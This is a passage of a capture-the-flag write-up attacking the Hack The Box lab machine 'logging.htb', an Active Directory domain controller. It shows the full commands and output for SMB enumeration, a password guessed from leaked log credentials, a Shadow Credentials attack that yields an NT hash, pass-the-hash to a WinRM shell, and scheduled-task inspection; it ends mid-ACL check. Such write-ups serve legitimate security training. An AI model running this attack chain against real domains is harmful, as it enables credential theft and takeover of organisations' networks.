88/tcp   open   kerberos-sec  Microsoft Windows Kerberos &lt;span class="o"&gt;(&lt;/span&gt;server &lt;span class="nb"&gt;time&lt;/span&gt;: 2026-04-20 17:28:58Z&lt;span class="o"&gt;)&lt;/span&gt;
135/tcp  open   msrpc         Microsoft Windows RPC
139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
326/tcp  closed unknown
389/tcp  open   ldap          Microsoft Windows Active Directory LDAP &lt;span class="o"&gt;(&lt;/span&gt;Domain: logging.htb, Site: Default-First-Site-Name&lt;span class="o"&gt;)&lt;/span&gt;
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
|_ssl-date: 2026-04-20T17:29:55+00:00&lt;span class="p"&gt;;&lt;/span&gt; +6h59m59s from scanner time.
445/tcp  open   microsoft-ds?
464/tcp  open   kpasswd5?
593/tcp  open   ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open   ssl/ldap      Microsoft Windows Active Directory LDAP &lt;span class="o"&gt;(&lt;/span&gt;Domain: logging.htb, Site: Default-First-Site-Name&lt;span class="o"&gt;)&lt;/span&gt;
|_ssl-date: 2026-04-20T17:29:56+00:00&lt;span class="p"&gt;;&lt;/span&gt; +6h59m59s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
3269/tcp open   ssl/ldap      Microsoft Windows Active Directory LDAP &lt;span class="o"&gt;(&lt;/span&gt;Domain: logging.htb, Site: Default-First-Site-Name&lt;span class="o"&gt;)&lt;/span&gt;
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
|_ssl-date: 2026-04-20T17:29:56+00:00&lt;span class="p"&gt;;&lt;/span&gt; +6h59m59s from scanner time.
5985/tcp open   http          Microsoft HTTPAPI httpd 2.0 &lt;span class="o"&gt;(&lt;/span&gt;SSDP/UPnP&lt;span class="o"&gt;)&lt;/span&gt;
|_http-title: &lt;span class="s2"&gt;"Not Found"&lt;/span&gt;
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01&lt;span class="p"&gt;;&lt;/span&gt; OS: Windows&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   &lt;span class="nb"&gt;date&lt;/span&gt;: 2026-04-20T17:29:48
|_  start_date: N/A
|_clock-skew: mean: 6h59m58s, deviation: 0s, median: 6h59m58s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required

Nmap &lt;span class="k"&gt;done&lt;/span&gt;: 1 IP address &lt;span class="o"&gt;(&lt;/span&gt;1 host up&lt;span class="o"&gt;)&lt;/span&gt; scanned &lt;span class="k"&gt;in &lt;/span&gt;66.74 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The scan revealed the domain names &lt;code&gt;logging.htb&lt;/code&gt; and &lt;code&gt;dc01.logging.htb&lt;/code&gt;, confirming this is a Windows Active Directory Domain Controller. HTB provided starting credentials for this box.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Enumeration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 Credential Validation and Share Discovery
&lt;/h3&gt;

&lt;p&gt;The provided credentials were checked for SMB authentication:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb &amp;lt;MACHINE-IP&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;'Wallace.everette'&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Welcome2026@'&lt;/span&gt;
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Windows 10 / Server 2019 Build 17763 x64 &lt;span class="o"&gt;(&lt;/span&gt;name:DC01&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;domain:logging.htb&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;signing:True&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;SMBv1:None&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;Null Auth:True&lt;span class="o"&gt;)&lt;/span&gt;
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   &lt;span class="o"&gt;[&lt;/span&gt;+] logging.htb&lt;span class="se"&gt;\W&lt;/span&gt;allace.everette:Welcome2026@
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Authentication succeeded. Shares, groups, and users were then enumerated with the credentials:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb &amp;lt;MACHINE-IP&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;'Wallace.everette'&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Welcome2026@'&lt;/span&gt; &lt;span class="nt"&gt;--shares&lt;/span&gt;
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Windows 10 / Server 2019 Build 17763 x64 &lt;span class="o"&gt;(&lt;/span&gt;name:DC01&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;domain:logging.htb&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;signing:True&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;SMBv1:None&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;Null Auth:True&lt;span class="o"&gt;)&lt;/span&gt;
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   &lt;span class="o"&gt;[&lt;/span&gt;+] logging.htb&lt;span class="se"&gt;\W&lt;/span&gt;allace.everette:Welcome2026@
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Enumerated shares
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   Share           Permissions     Remark
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   &lt;span class="nt"&gt;-----&lt;/span&gt;           &lt;span class="nt"&gt;-----------&lt;/span&gt;     &lt;span class="nt"&gt;------&lt;/span&gt;
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   ADMIN&lt;span class="nv"&gt;$ &lt;/span&gt;                         Remote Admin
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   C&lt;span class="nv"&gt;$ &lt;/span&gt;                             Default share
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   IPC&lt;span class="nv"&gt;$ &lt;/span&gt;           READ            Remote IPC
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   Logs            READ
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   NETLOGON        READ            Logon server share
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   SYSVOL          READ            Logon server share
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   WSUSTemp                        A network share used by Local Publishing from a Remote WSUS Console Instance.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Most of these are default Windows shares — &lt;code&gt;ADMIN$&lt;/code&gt; and &lt;code&gt;C$&lt;/code&gt; require administrative privileges, while &lt;code&gt;IPC$&lt;/code&gt;, &lt;code&gt;NETLOGON&lt;/code&gt;, and &lt;code&gt;SYSVOL&lt;/code&gt; are commonly accessible to authenticated users. &lt;code&gt;Logs&lt;/code&gt; and &lt;code&gt;WSUSTemp&lt;/code&gt; are non-standard and worth investigating.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.2 Logs Share Analysis
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;smbclient //&amp;lt;MACHINE-IP&amp;gt;/Logs &lt;span class="nt"&gt;-U&lt;/span&gt; &lt;span class="s1"&gt;'logging.htb\wallace.everette%Welcome2026@'&lt;/span&gt;
Try &lt;span class="s2"&gt;"help"&lt;/span&gt; to get a list of possible commands.
smb: &lt;span class="se"&gt;\&amp;gt;&lt;/span&gt; recurse ON
smb: &lt;span class="se"&gt;\&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;ls&lt;/span&gt;
  &lt;span class="nb"&gt;.&lt;/span&gt;                                   D        0  Thu Apr 16 19:10:09 2026
  ..                                  D        0  Thu Apr 16 19:10:09 2026
  Audit_Heartbeat.log                 A     1294  Thu Apr 16 19:10:09 2026
  IdentitySync_Trace_20260219.log     A     8488  Thu Apr 16 19:10:09 2026
  Service_State.log                   A      468  Thu Apr 16 19:10:09 2026
  TaskMonitor.log                     A     1170  Thu Apr 16 19:10:09 2026

smb: &lt;span class="se"&gt;\&amp;gt;&lt;/span&gt; mget &lt;span class="k"&gt;*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The log files were downloaded and analyzed locally. &lt;code&gt;IdentitySync_Trace_20260219.log&lt;/code&gt; revealed hardcoded credentials used by the IdentitySync service:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;BindUser&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;LOGGING&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="s"&gt;vc_recovery&lt;/span&gt;
&lt;span class="py"&gt;BindPass&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Em3rg3ncyPa$$2025&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;However, the same log also showed LDAP authentication failures (&lt;code&gt;LDAP_INVALID_CREDENTIALS&lt;/code&gt;), indicating the password had since been rotated. Given the visible year-based pattern (&lt;code&gt;2025&lt;/code&gt;), a simple increment was tried:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Em3rg3ncyPa$$2026
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Testing the guessed credentials:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;crackmapexec smb &amp;lt;MACHINE-IP&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;'svc_recovery'&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Em3rg3ncyPa$$2026'&lt;/span&gt;
SMB   &amp;lt;MACHINE-IP&amp;gt;   445   DC01   &lt;span class="o"&gt;[&lt;/span&gt;-] logging.htb&lt;span class="se"&gt;\s&lt;/span&gt;vc_recovery:Em3rg3ncyPa&lt;span class="nv"&gt;$$&lt;/span&gt;2026 STATUS_ACCOUNT_RESTRICTION
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;STATUS_ACCOUNT_RESTRICTION&lt;/code&gt; confirms the credentials are &lt;strong&gt;valid&lt;/strong&gt; but the account is restricted from authenticating over SMB — likely due to logon-type restrictions common on service accounts. The earlier LDAP bind failures were a result of the same restriction, not invalid credentials.&lt;/p&gt;

&lt;p&gt;To work around this, Kerberos authentication was used instead — requesting a TGT and authenticating via ticket-based auth:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;impacket-getTGT logging.htb/svc_recovery:&lt;span class="s1"&gt;'Em3rg3ncyPa$$2026'&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;KRB5CCNAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;svc_recovery.ccache
impacket-smbclient &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nt"&gt;-no-pass&lt;/span&gt; logging.htb/svc_recovery@DC01.logging.htb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.3 BloodHound Analysis
&lt;/h3&gt;

&lt;p&gt;AD data was collected and analyzed with BloodHound:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodhound-python &lt;span class="nt"&gt;-d&lt;/span&gt; logging.htb &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;'svc_recovery'&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Em3rg3ncyPa$$2026'&lt;/span&gt; &lt;span class="nt"&gt;-ns&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="nt"&gt;-c&lt;/span&gt; All &lt;span class="nt"&gt;--zip&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ingesting the data revealed that &lt;code&gt;svc_recovery&lt;/code&gt; holds &lt;strong&gt;GenericWrite&lt;/strong&gt; over the account &lt;code&gt;msa_health$&lt;/code&gt;. GenericWrite allows modification of certain object attributes, but does not by itself guarantee the ability to reset a password.&lt;/p&gt;

&lt;p&gt;An attempt to reset &lt;code&gt;msa_health$&lt;/code&gt;'s password using this permission was made:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodyAD &lt;span class="nt"&gt;--host&lt;/span&gt; DC01.logging.htb &lt;span class="nt"&gt;--dc-ip&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; logging.htb &lt;span class="nt"&gt;-u&lt;/span&gt; svc_recovery &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nt"&gt;--secure&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nb"&gt;set &lt;/span&gt;password msa_health&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="s1"&gt;'NewP@ssw0rd123!'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This failed with an LDAP modification error — confirming that GenericWrite alone does not grant permission to modify the &lt;code&gt;unicodePwd&lt;/code&gt; attribute.&lt;/p&gt;

&lt;p&gt;To work around this, a &lt;strong&gt;Shadow Credentials&lt;/strong&gt; attack was performed instead, allowing authentication as &lt;code&gt;msa_health$&lt;/code&gt; by adding an alternative credential (a certificate-backed key) rather than resetting the password:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;certipy shadow auto &lt;span class="nt"&gt;-u&lt;/span&gt; svc_recovery@logging.htb &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nt"&gt;-dc-ip&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="nt"&gt;-target&lt;/span&gt; DC01.logging.htb &lt;span class="nt"&gt;-account&lt;/span&gt; &lt;span class="s1"&gt;'msa_health'&lt;/span&gt;
Certipy v5.0.4 - by Oliver Lyak &lt;span class="o"&gt;(&lt;/span&gt;ly4k&lt;span class="o"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;[!]&lt;/span&gt; DC host &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;-dc-host&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; not specified and Kerberos authentication is used. This might fail
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Targeting user &lt;span class="s1"&gt;'msa_health$'&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Generating certificate
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Certificate generated
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Generating Key Credential
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Key Credential generated with DeviceID &lt;span class="s1"&gt;'5607c33eebe94d49b99c69c174758629'&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Adding Key Credential with device ID &lt;span class="s1"&gt;'5607c33eebe94d49b99c69c174758629'&lt;/span&gt; to the Key Credentials &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="s1"&gt;'msa_health$'&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Successfully added Key Credential with device ID &lt;span class="s1"&gt;'5607c33eebe94d49b99c69c174758629'&lt;/span&gt; to the Key Credentials &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="s1"&gt;'msa_health$'&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Authenticating as &lt;span class="s1"&gt;'msa_health$'&lt;/span&gt; with the certificate
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Using principal: &lt;span class="s1"&gt;'msa_health$@logging.htb'&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Trying to get TGT...
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Got TGT
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Saving credential cache to &lt;span class="s1"&gt;'msa_health.ccache'&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Trying to retrieve NT &lt;span class="nb"&gt;hash &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="s1"&gt;'msa_health$'&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Restoring the old Key Credentials &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="s1"&gt;'msa_health$'&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Successfully restored the old Key Credentials &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="s1"&gt;'msa_health$'&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; NT &lt;span class="nb"&gt;hash &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="s1"&gt;'msa_health$'&lt;/span&gt;: &amp;lt;REDACTED-NT-HASH&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With the NT hash for &lt;code&gt;msa_health$&lt;/code&gt;, a Pass-the-Hash attack grants a shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;evil-winrm &lt;span class="nt"&gt;-i&lt;/span&gt; DC01.logging.htb &lt;span class="nt"&gt;-u&lt;/span&gt; msa_health&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nt"&gt;-H&lt;/span&gt; &amp;lt;REDACTED-NT-HASH&amp;gt;

&lt;span class="k"&gt;*&lt;/span&gt;Evil-WinRM&lt;span class="k"&gt;*&lt;/span&gt; PS C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\m&lt;/span&gt;sa_health&lt;span class="nv"&gt;$\&lt;/span&gt;Documents&amp;gt; &lt;span class="nb"&gt;whoami
&lt;/span&gt;logging&lt;span class="se"&gt;\m&lt;/span&gt;sa_health&lt;span class="err"&gt;$&lt;/span&gt;
&lt;span class="k"&gt;*&lt;/span&gt;Evil-WinRM&lt;span class="k"&gt;*&lt;/span&gt; PS C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\m&lt;/span&gt;sa_health&lt;span class="nv"&gt;$\&lt;/span&gt;Documents&amp;gt; &lt;span class="nb"&gt;dir

    &lt;/span&gt;Directory: C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\m&lt;/span&gt;sa_health&lt;span class="nv"&gt;$\&lt;/span&gt;Documents

Mode                LastWriteTime         Length Name
&lt;span class="nt"&gt;----&lt;/span&gt;                &lt;span class="nt"&gt;-------------&lt;/span&gt;         &lt;span class="nt"&gt;------&lt;/span&gt; &lt;span class="nt"&gt;----&lt;/span&gt;
&lt;span class="nt"&gt;-a----&lt;/span&gt;        4/17/2026   9:02 AM           1059 monitor.ps1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;monitor.ps1&lt;/code&gt; was downloaded for analysis, revealing how a scheduled task ("UpdateChecker Agent") generates logs and interacts with a shared directory.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Scheduled Task Analysis and Local Privilege Escalation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 Task Inspection
&lt;/h3&gt;

&lt;p&gt;Direct access via &lt;code&gt;schtasks&lt;/code&gt; was restricted, so the task was queried via the COM Schedule Service interface instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;New-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ComObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Schedule.Service"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$service&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Connect&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$task&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$service&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;GetFolder&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"\"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;GetTask&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"UpdateChecker Agent"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$task&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Format-List&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key observations:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The task runs every 3 minutes.&lt;/li&gt;
&lt;li&gt;It executes &lt;code&gt;C:\Program Files\UpdateMonitor\UpdateMonitor.exe&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The task was created by &lt;code&gt;logging\Administrator&lt;/code&gt;, meaning it runs with high privileges.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  3.2 Writable Directory Discovery
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;monitor.ps1&lt;/code&gt; revealed that the task writes files to &lt;code&gt;C:\Share&lt;/code&gt;. This was confirmed with an ACL check:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;icacls&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Share&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;C:\Share&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;logging\Domain&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Users:&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;OI&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;CI&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;RX&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
         &lt;/span&gt;&lt;span class="n"&gt;NT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;AUTHORITY\SYSTEM:&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;I&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;OI&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;CI&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
         &lt;/span&gt;&lt;span class="n"&gt;BUILTIN\Administrators:&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;I&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;OI&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;CI&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
         &lt;/span&gt;&lt;span class="n"&gt;BUILTIN\Users:&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;I&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;OI&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;CI&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;RX&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
         &lt;/span&gt;&lt;span class="n"&gt;BUILTIN\Users:&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;I&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;CI&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;AD&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
         &lt;/span&gt;&lt;span class="n"&gt;BUILTIN\Users:&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;I&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;CI&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;WD&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
